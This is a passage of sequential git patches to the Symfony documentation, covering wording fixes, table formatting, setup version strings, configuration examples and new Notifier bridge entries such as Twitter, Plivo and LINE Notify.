@@ -63,6 +63,15 @@ object.
             'mapped' => false,
         ]);
 
+    or if you want to use it with the ``RepeatedType``::
+
+        $builder->add('plainPassword', RepeatedType::class, [
+            'type' => PasswordType::class,
+            'first_options'  => ['label' => 'Password', 'hash_property_path' => 'password'],
+            'second_options' => ['label' => 'Repeat Password'],
+            'mapped' => false,
+        ]);
+
 Overridden Options
 ------------------
 

From d39d7539ddd58e0f2cd69dbc0227d1710e36497f Mon Sep 17 00:00:00 2001
From: Robin Willig <robin@dragonito.net>
Date: Wed, 30 Nov 2022 17:38:48 +0100
Subject: [PATCH 2563/5766] Better grammatical wording

---
 components/validator/metadata.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/validator/metadata.rst b/components/validator/metadata.rst
index f5df3fa68de..1ab98a590d6 100755
--- a/components/validator/metadata.rst
+++ b/components/validator/metadata.rst
@@ -37,7 +37,7 @@ Getters
 
 Constraints can also be applied to the value returned by any public *getter*
 method, which are the methods whose names start with ``get``, ``has`` or ``is``.
-This feature allows to validate your objects dynamically.
+This feature allows validating your objects dynamically.
 
 Suppose that, for security reasons, you want to validate that a password field
 doesn't match the first name of the user. First, create a public method called

From f9577a7d45fcd5e629f93ffc328ce08ff4e86600 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 1 Dec 2022 17:18:55 +0100
Subject: [PATCH 2564/5766] Minor tweak

---
 components/property_info.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index f9b693336a8..7f20064fb69 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -324,7 +324,7 @@ this returns ``true`` if:
   ``@var Doctrine\Common\Collections\Collection<App\Entity\SomeEntity>``, etc.)
 
 ``Type::getCollectionKeyTypes()`` & ``Type::getCollectionValueTypes()``
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If the property is a collection, additional type objects may be returned
 for both the key and value types of the collection (if the information is

From 97b942faf685b6233fbea1621ceea48d4296e12b Mon Sep 17 00:00:00 2001
From: c33s <dev@c33s.net>
Date: Sat, 19 Nov 2022 13:55:14 +0100
Subject: [PATCH 2565/5766] [Framework] clearified base_uri behavior with extra
 examples

---
 reference/configuration/framework.rst | 25 +++++++++++++++----------
 1 file changed, 15 insertions(+), 10 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index fcbf68d1609..487808e293a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -963,16 +963,21 @@ every request.
 
 Here are some common examples of how ``base_uri`` merging works in practice:
 
-=======================  ==================  ==========================
-``base_uri``             Relative URI        Actual Requested URI
-=======================  ==================  ==========================
-http://example.org       /bar                http://example.org/bar
-http://example.org/foo   /bar                http://example.org/bar
-http://example.org/foo   bar                 http://example.org/bar
-http://example.org/foo/  bar                 http://example.org/foo/bar
-http://example.org       http://symfony.com  http://symfony.com
-http://example.org/?bar  bar                 http://example.org/bar
-=======================  ==================  ==========================
+==========================  ==================  ==========================
+``base_uri``                Relative URI        Actual Requested URI
+==========================  ==================  ==========================
+http://example.org          /bar                http://example.org/bar
+http://example.org/foo      /bar                http://example.org/bar
+http://example.org/foo      bar                 http://example.org/bar
+http://example.org/foo/     /bar                http://example.org/bar
+http://example.org/foo/     bar                 http://example.org/foo/bar
+http://example.org          http://symfony.com  http://symfony.com
+http://example.org/?bar     bar                 http://example.org/bar
+http://example.org/api/v4   /bar                http://example.org/bar
+http://example.org/api/v4/  /bar                http://example.org/bar
+http://example.org/api/v4   bar                 http://example.org/api/bar
+http://example.org/api/v4/  bar                 http://example.org/api/v4/bar
+==========================  ==================  ==========================
 
 bindto
 ......

From 4e955279e0fec6cfedbd8ed6f637accb4997e645 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 1 Dec 2022 17:25:29 +0100
Subject: [PATCH 2566/5766] Minor tweak

---
 reference/configuration/framework.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 487808e293a..391db4ba386 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -963,9 +963,9 @@ every request.
 
 Here are some common examples of how ``base_uri`` merging works in practice:
 
-==========================  ==================  ==========================
+==========================  ==================  =============================
 ``base_uri``                Relative URI        Actual Requested URI
-==========================  ==================  ==========================
+==========================  ==================  =============================
 http://example.org          /bar                http://example.org/bar
 http://example.org/foo      /bar                http://example.org/bar
 http://example.org/foo      bar                 http://example.org/bar
@@ -977,7 +977,7 @@ http://example.org/api/v4   /bar                http://example.org/bar
 http://example.org/api/v4/  /bar                http://example.org/bar
 http://example.org/api/v4   bar                 http://example.org/api/bar
 http://example.org/api/v4/  bar                 http://example.org/api/v4/bar
-==========================  ==================  ==========================
+==========================  ==================  =============================
 
 bindto
 ......

From ef14fc4ca4c061a21a48170b520a8d77a8f23282 Mon Sep 17 00:00:00 2001
From: Greg Pluta <gpluta@users.noreply.github.com>
Date: Thu, 1 Dec 2022 21:42:18 +0100
Subject: [PATCH 2567/5766] Fix "WordPress" spelling typo

---
 create_framework/event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/event_dispatcher.rst b/create_framework/event_dispatcher.rst
index bf872a5bb50..181c75b00d2 100644
--- a/create_framework/event_dispatcher.rst
+++ b/create_framework/event_dispatcher.rst
@@ -8,7 +8,7 @@ hook into the framework life cycle to modify the way the request is handled.
 What kind of hooks are we talking about? Authentication or caching for
 instance. To be flexible, hooks must be plug-and-play; the ones you "register"
 for an application are different from the next one depending on your specific
-needs. Many software have a similar concept like Drupal or Wordpress. In some
+needs. Many software have a similar concept like Drupal or WordPress. In some
 languages, there is even a standard like `WSGI`_ in Python or `Rack`_ in Ruby.
 
 As there is no standard for PHP, we are going to use a well-known design

From afb0b805a25840c740e885f842f3400d64cc8870 Mon Sep 17 00:00:00 2001
From: Marko Kaznovac <kaznovac@users.noreply.github.com>
Date: Thu, 1 Dec 2022 10:25:18 +0100
Subject: [PATCH 2568/5766] ValueResolver: fix resolver injection example

---
 controller/value_resolver.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 2ece1fcaa7d..f08aee9126d 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -265,7 +265,7 @@ and adding a priority:
                 autowire: true
             # ...
 
-            App\ArgumentResolver\UserValueResolver:
+            App\ArgumentResolver\BookingIdValueResolver:
                 tags:
                     - { name: controller.argument_value_resolver, priority: 150 }
 
@@ -283,7 +283,7 @@ and adding a priority:
                 <defaults autowire="true"/>
                 <!-- ... -->
 
-                <service id="App\ArgumentResolver\UserValueResolver">
+                <service id="App\ArgumentResolver\BookingIdValueResolver">
                     <tag name="controller.argument_value_resolver" priority="150"/>
                 </service>
             </services>
@@ -295,12 +295,12 @@ and adding a priority:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use App\ArgumentResolver\UserValueResolver;
+        use App\ArgumentResolver\BookingIdValueResolver;
 
         return static function (ContainerConfigurator $container) {
             $services = $configurator->services();
 
-            $services->set(UserValueResolver::class)
+            $services->set(BookingIdValueResolver::class)
                 ->tag('controller.argument_value_resolver', ['priority' => 150])
             ;
         };

From 1b07595b77089cde6e748a0c14d41e0a5c326684 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Sun, 4 Dec 2022 16:12:28 +0200
Subject: [PATCH 2569/5766] setup version fix

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index db2c1fe10b0..cd602461783 100644
--- a/setup.rst
+++ b/setup.rst
@@ -49,10 +49,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="6.2.*@dev" --webapp
+    $ symfony new my_project_directory --version="6.2.*" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="6.2.*@dev"
+    $ symfony new my_project_directory --version="6.2.*"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
@@ -64,12 +64,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"6.2.*@dev" my_project_directory
+    $ composer create-project symfony/skeleton:"6.2.*" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"6.2.*@dev" my_project_directory
+    $ composer create-project symfony/skeleton:"6.2.*" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 68b1b6c5ae06d3b332dd67d6f27d038207804b00 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 4 Dec 2022 21:22:20 +0100
Subject: [PATCH 2570/5766] [Notifier] Add Twitter bridge

closes #17494
---
 notifier.rst | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index cdb1881890f..5c8fcff0945 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -176,9 +176,9 @@ The chat channel is used to send chat messages to users by using
 :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
 integration with these chat services:
 
-==============  ====================================  =============================================================================
+==============  ====================================  ===============================================================================
 Service         Package                               DSN
-==============  ====================================  =============================================================================
+==============  ====================================  ===============================================================================
 AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 Chatwork        ``symfony/chatwork-notifier``         ``chatwork://API_TOKEN@default?room_id=ID``
 Discord         ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
@@ -193,14 +193,19 @@ MicrosoftTeams  ``symfony/microsoft-teams-notifier``  ``microsoftteams://default
 RocketChat      ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 Slack           ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
 Telegram        ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
+Twitter         ``symfony/twitter-notifier``          ``TWITTER_DSN=twitter://API_KEY:API_SECRET:ACCESS_TOKEN:ACCESS_SECRET@default``
 Zendesk         ``symfony/zendesk-notifier``          ``zendesk://EMAIL:TOKEN@SUBDOMAIN``
 Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
-==============  ====================================  =============================================================================
+==============  ====================================  ===============================================================================
 
 .. versionadded:: 6.2
 
     The Zendesk and Chatwork integration were introduced in Symfony 6.2.
 
+.. versionadded:: 6.3
+
+    The Twitter integration was introduced in Symfony 6.3.
+
 Chatters are configured using the ``chatter_transports`` setting:
 
 .. code-block:: bash

From 5d59bba309e2c3fbee208df121d32456d1076ae9 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 4 Dec 2022 21:24:37 +0100
Subject: [PATCH 2571/5766] Minor

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 6408bbe2299..2764b5464fb 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -717,7 +717,7 @@ typical alert levels, which you can implement immediately using:
 
         # config/services.yaml
         services:
-            notifier.flash_message_importance_mapper: 
+            notifier.flash_message_importance_mapper:
                 class: Symfony\Component\Notifier\FlashMessage\BootstrapFlashMessageImportanceMapper
 
     .. code-block:: xml

From 1f50ed518be172b95e5d70c104f42160fceea2f8 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 29 Nov 2022 15:18:45 -0400
Subject: [PATCH 2572/5766] [Notifier] Add RingCentral bridge

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 04dc921949d..c11298811b0 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -83,6 +83,7 @@ Nexmo            ``symfony/nexmo-notifier``             Abandoned in favor of Vo
 Octopush         ``symfony/octopush-notifier``          ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
 OrangeSms        ``symfony/orange-sms-notifier``        ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
 OvhCloud         ``symfony/ovh-cloud-notifier``         ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME&no_stop_clause=true``
+RingCentral      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
 Sendberry        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
 Sendinblue       ``symfony/sendinblue-notifier``        ``sendinblue://API_KEY@default?sender=PHONE``
 Sms77            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
@@ -112,7 +113,7 @@ Yunpian          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@defau
 
 .. versionadded:: 6.3
 
-    The Termii integration was introduced in Symfony 6.3.
+    The RingCentral and Termii integrations were introduced in Symfony 6.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 4dd26b9c155c04cb8f4462e039a45fe8f7ac12c3 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 29 Nov 2022 10:10:02 -0400
Subject: [PATCH 2573/5766] [Notifier] Add Bandwidth bridge

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index c11298811b0..35d64603009 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -65,6 +65,7 @@ Service          Package                                DSN
 46elks           ``symfony/forty-six-elks-notifier``    ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM``
 AllMySms         ``symfony/all-my-sms-notifier``        ``allmysms://LOGIN:APIKEY@default?from=FROM``
 AmazonSns        ``symfony/amazon-sns-notifier``        ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+Bandwidth        ``symfony/bandwidth-notifier``         ``bandwidth://USERNAME:PASSWORD@default?from=FROM&account_id=ACCOUNT_ID&application_id=APPLICATION_ID&priority=PRIORITY``
 Clickatell       ``symfony/clickatell-notifier``        ``clickatell://ACCESS_TOKEN@default?from=FROM``
 ContactEveryone  ``symfony/contact-everyone-notifier``  ``contact-everyone://TOKEN@default?&diffusionname=DIFFUSION_NAME&category=CATEGORY``
 Esendex          ``symfony/esendex-notifier``           ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
@@ -113,7 +114,7 @@ Yunpian          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@defau
 
 .. versionadded:: 6.3
 
-    The RingCentral and Termii integrations were introduced in Symfony 6.3.
+    The Bandwith, RingCentral and Termii integrations were introduced in Symfony 6.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 3f0c4c4e0e45e1ba95aee504e69d8f66b391129b Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 29 Nov 2022 13:17:57 -0400
Subject: [PATCH 2574/5766] [Notifier] Add Plivo bridge

---
 notifier.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 35d64603009..aa04833e291 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -84,7 +84,11 @@ Nexmo            ``symfony/nexmo-notifier``             Abandoned in favor of Vo
 Octopush         ``symfony/octopush-notifier``          ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
 OrangeSms        ``symfony/orange-sms-notifier``        ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
 OvhCloud         ``symfony/ovh-cloud-notifier``         ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME&no_stop_clause=true``
+<<<<<<< HEAD
 RingCentral      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
+=======
+Plivo            ``symfony/plivo-notifier``             ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM``
+>>>>>>> 80403f278 ([Notifier] Add Plivo bridge)
 Sendberry        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
 Sendinblue       ``symfony/sendinblue-notifier``        ``sendinblue://API_KEY@default?sender=PHONE``
 Sms77            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
@@ -114,7 +118,7 @@ Yunpian          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@defau
 
 .. versionadded:: 6.3
 
-    The Bandwith, RingCentral and Termii integrations were introduced in Symfony 6.3.
+    The Bandwith, Plivo, RingCentral and Termii integrations were introduced in Symfony 6.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From c5cfa31c7c8fe918820174a1a7e434791e295f4b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 4 Dec 2022 21:40:00 +0100
Subject: [PATCH 2575/5766] Add versionadded directive

---
 notifier/events.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/notifier/events.rst b/notifier/events.rst
index aef7c848cec..2b9c9f6d1eb 100644
--- a/notifier/events.rst
+++ b/notifier/events.rst
@@ -4,6 +4,11 @@
 Using Events
 ============
 
+.. versionadded:: 5.4
+
+    The ``MessageEvent``, ``FailedMessageEvent`` and ``SentMessageEvent`` were
+    introduced in Symfony 5.4.
+
 The class:``...\\..\\Transport`` of the Notifier component allows you to optionally hook
 into the lifecycle via events.
 

From a45341d49c965532b68e509784776bb8579d3799 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 4 Dec 2022 21:40:39 +0100
Subject: [PATCH 2576/5766] Remove obsolete versionadded directive

---
 notifier/events.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/notifier/events.rst b/notifier/events.rst
index 2b9c9f6d1eb..aef7c848cec 100644
--- a/notifier/events.rst
+++ b/notifier/events.rst
@@ -4,11 +4,6 @@
 Using Events
 ============
 
-.. versionadded:: 5.4
-
-    The ``MessageEvent``, ``FailedMessageEvent`` and ``SentMessageEvent`` were
-    introduced in Symfony 5.4.
-
 The class:``...\\..\\Transport`` of the Notifier component allows you to optionally hook
 into the lifecycle via events.
 

From b2a2c875f5441dfc6ada2e0659c949b0a2133791 Mon Sep 17 00:00:00 2001
From: Simon Leblanc <contact@leblanc-simon.eu>
Date: Sun, 20 Nov 2022 18:13:01 +0100
Subject: [PATCH 2577/5766] [Notifier] Add iSendPro notifier

---
 notifier.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index aa04833e291..bd76d1ba81a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -74,6 +74,7 @@ FreeMobile       ``symfony/free-mobile-notifier``       ``freemobile://LOGIN:API
 GatewayApi       ``symfony/gateway-api-notifier``       ``gatewayapi://TOKEN@default?from=FROM``
 Infobip          ``symfony/infobip-notifier``           ``infobip://AUTH_TOKEN@HOST?from=FROM``
 Iqsms            ``symfony/iqsms-notifier``             ``iqsms://LOGIN:PASSWORD@default?from=FROM``
+iSendPro         ``symfony/isendpro-notifier``          ``isendpro://ACCOUNT_KEY_ID@default?from=FROM&no_stop=NO_STOP&sandbox=SANDBOX``
 KazInfoTeh       ``symfony/kaz-info-teh-notifier``      ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM``
 LightSms         ``symfony/light-sms-notifier``         ``lightsms://LOGIN:TOKEN@default?from=PHONE``
 Mailjet          ``symfony/mailjet-notifier``           ``mailjet://TOKEN@default?from=FROM``
@@ -118,7 +119,8 @@ Yunpian          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@defau
 
 .. versionadded:: 6.3
 
-    The Bandwith, Plivo, RingCentral and Termii integrations were introduced in Symfony 6.3.
+    The Bandwith, iSendPro, Plivo, RingCentral and Termii integrations were introduced
+    in Symfony 6.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From a5f1f2c3e61d0d31c1a7f89324cc39125c5896d1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 4 Dec 2022 21:55:04 +0100
Subject: [PATCH 2578/5766] [Notifier] Add LINE Notify bridge

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index bd76d1ba81a..0e74c017cd3 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -199,6 +199,7 @@ FakeChat        ``symfony/fake-chat-notifier``        ``fakechat+email://default
 Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
 Gitter          ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
 GoogleChat      ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
+LINE Notify     ``symfony/line-notify-notifier``      ``linenotify://TOKEN@default``
 LinkedIn        ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
 Mattermost      ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
 Mercure         ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
@@ -217,7 +218,7 @@ Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST
 
 .. versionadded:: 6.3
 
-    The Twitter integration was introduced in Symfony 6.3.
+    The LINE Notify and Twitter integrations were introduced in Symfony 6.3.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From 418db4c7f2da7609553f7e6f1433baf7101a1b5a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 4 Dec 2022 21:55:44 +0100
Subject: [PATCH 2579/5766] Remove env var

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index bd76d1ba81a..c27b898ddcd 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -206,7 +206,7 @@ MicrosoftTeams  ``symfony/microsoft-teams-notifier``  ``microsoftteams://default
 RocketChat      ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 Slack           ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
 Telegram        ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
-Twitter         ``symfony/twitter-notifier``          ``TWITTER_DSN=twitter://API_KEY:API_SECRET:ACCESS_TOKEN:ACCESS_SECRET@default``
+Twitter         ``symfony/twitter-notifier``          ``twitter://API_KEY:API_SECRET:ACCESS_TOKEN:ACCESS_SECRET@default``
 Zendesk         ``symfony/zendesk-notifier``          ``zendesk://EMAIL:TOKEN@SUBDOMAIN``
 Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
 ==============  ====================================  ===============================================================================

From 5f68f509f513d41f9fdae38154f128e9ff419240 Mon Sep 17 00:00:00 2001
From: Issam KHADIRI <khadiri.issam@gmail.com>
Date: Sun, 4 Dec 2022 22:05:38 +0100
Subject: [PATCH 2580/5766] Update security.rst

i think the new namespace  is Symfony\Bundle\SecurityBundle\Security
---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index a927e4b2350..e3a6ccf9038 100644
--- a/security.rst
+++ b/security.rst
@@ -1940,7 +1940,7 @@ If you need to get the logged in user from a service, use the
 
     The :class:`Symfony\\Bundle\\SecurityBundle\\Security` class
     was introduced in Symfony 6.2. In previous Symfony versions this class was
-    defined in ``Symfony\Bundle\SecurityBundle\Security``.
+    defined in ``Symfony\Component\Security\Core\Security``.
 
 Fetch the User in a Template
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 246b7415ce994d3db6c4dd16a2d9837cd15fecca Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Sun, 4 Dec 2022 22:20:30 +0100
Subject: [PATCH 2581/5766] Update `framework.exceptions` XML and PHP
 configuration examples

---
 reference/configuration/framework.rst | 21 ++++++++-------------
 1 file changed, 8 insertions(+), 13 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 391db4ba386..06678374267 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3579,12 +3579,11 @@ exceptions that match the given exception class:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:exceptions>
-                    <exception id="Symfony\Component\HttpKernel\Exception\BadRequestHttpException">
-                        <framework:log_level>debug</framework:log_level>
-                        <framework:status_code>422</framework:status_code>
-                    </exception>
-                </framework:exceptions>
+                <framework:exception
+                    class="Symfony\Component\HttpKernel\Exception\BadRequestHttpException"
+                    log-level="debug"
+                    status-code="422"
+                />
                 <!-- ... -->
             </framework:config>
         </container>
@@ -3596,13 +3595,9 @@ exceptions that match the given exception class:
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework) {
-            $framework
-                ->exceptions(BadRequestHttpException::class)
-                ->log_level('debug');
-
-            $framework
-                ->exceptions(BadRequestHttpException::class)
-                ->status_code(422);
+            $framework->exception(BadRequestHttpException::class)
+                ->logLevel('debug')
+                ->statusCode(422)
             ;
         };
 

From 7fbcccfc3333384de0af8c47b6cfda38af4a42fd Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Sun, 4 Dec 2022 16:09:39 +0200
Subject: [PATCH 2582/5766] version fix

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index cd602461783..720768c1ec8 100644
--- a/setup.rst
+++ b/setup.rst
@@ -49,10 +49,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="6.2.*" --webapp
+    $ symfony new my_project_directory --version="6.3.*@dev" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="6.2.*"
+    $ symfony new my_project_directory --version="6.3.*@dev"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
@@ -64,12 +64,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"6.2.*" my_project_directory
+    $ composer create-project symfony/skeleton:"6.3.*@dev" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"6.2.*" my_project_directory
+    $ composer create-project symfony/skeleton:"6.3.*@dev" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 5f3d75b24877b7be98ac3c74938f5ba169d84ade Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 5 Dec 2022 10:31:54 +0100
Subject: [PATCH 2583/5766] [Notifier] Fix class

Fixes #17503
---
 notifier/events.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier/events.rst b/notifier/events.rst
index 2b9c9f6d1eb..05a602a3bab 100644
--- a/notifier/events.rst
+++ b/notifier/events.rst
@@ -9,8 +9,8 @@ Using Events
     The ``MessageEvent``, ``FailedMessageEvent`` and ``SentMessageEvent`` were
     introduced in Symfony 5.4.
 
-The class:``...\\..\\Transport`` of the Notifier component allows you to optionally hook
-into the lifecycle via events.
+The :class:`Symfony\\Component\\Notifier\\Transport`` class of the Notifier component
+allows you to optionally hook into the lifecycle via events.
 
 The ``MessageEvent::class`` Event
 ---------------------------------

From 79e9e478184b734b55ecb4f6da511330f2de73b2 Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Fri, 4 Nov 2022 09:19:01 +0100
Subject: [PATCH 2584/5766] Add Mastodon bridge

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index ac9a45b6591..43f4fbeb47b 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -201,6 +201,7 @@ Gitter          ``symfony/gitter-notifier``           ``gitter://TOKEN@default?r
 GoogleChat      ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
 LINE Notify     ``symfony/line-notify-notifier``      ``linenotify://TOKEN@default``
 LinkedIn        ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
